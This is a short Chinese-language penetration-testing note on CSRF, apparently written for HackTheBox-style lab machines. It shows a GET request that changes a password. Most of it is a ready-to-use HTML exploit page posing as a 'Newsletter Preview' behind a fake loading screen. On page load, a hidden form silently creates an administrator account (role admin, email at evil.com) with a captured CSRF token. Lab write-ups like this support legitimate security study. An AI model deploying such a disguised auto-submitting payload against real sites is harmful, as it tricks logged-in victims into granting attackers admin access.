CSRF
1. 利用
通常需要注意以下地方:
- csrf token是否与用户session绑定(csrf token非全局池共享)
1.1. 基于GET的
如果一个POST请求也可以通过GET方式实现的话,可以尝试这个种方式,一般都是有一个用户会来访问你的连接
如这里通过抓包发现也可以使用 GET 方式修改密码
正常的方式
我将其改成 GET 方式 发送请求,仍然可以被接受
这里是回到了登录框界面,但是经过测试确实是可以修改成功的
直接反馈
http://10.129.31.121/change_pass.php?confirm_password=321321&password=321321&submit=submit
1.2. 基于POST的
对于POST的请求,我们通常需要构建一个表单,可以直接用burp的右键菜单“生成CSRF POC”来构建表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Newsletter Preview</title>
</head>
<body onload="document.getElementById('csrf_exploit').submit()">
<!-- 模拟一个正在加载的界面,掩盖后台的自动提交行为 -->
<div style="text-align: center; margin-top: 50px; font-family: sans-serif;">
<h2>Loading Document Preview...</h2>
<p>Please wait a moment while we prepare your view.</p>
</div>
<!-- 隐藏的攻击表单 -->
<form id="csrf_exploit" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<!-- 恶意创建的管理员账号信息 -->
<input type="hidden" name="username" value="c1trus" />
<input type="hidden" name="password" value="Admin123" />
<input type="hidden" name="full_name" value="Security System Auditor" />
<input type="hidden" name="email" value="auditor@evil.com" />
<input type="hidden" name="dob" value="1990-01-01" />
<input type="hidden" name="address" value="Hidden Headquarters" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="275addc405a6e17adaaf9600cc190713" />
</form>
</body>
</html>


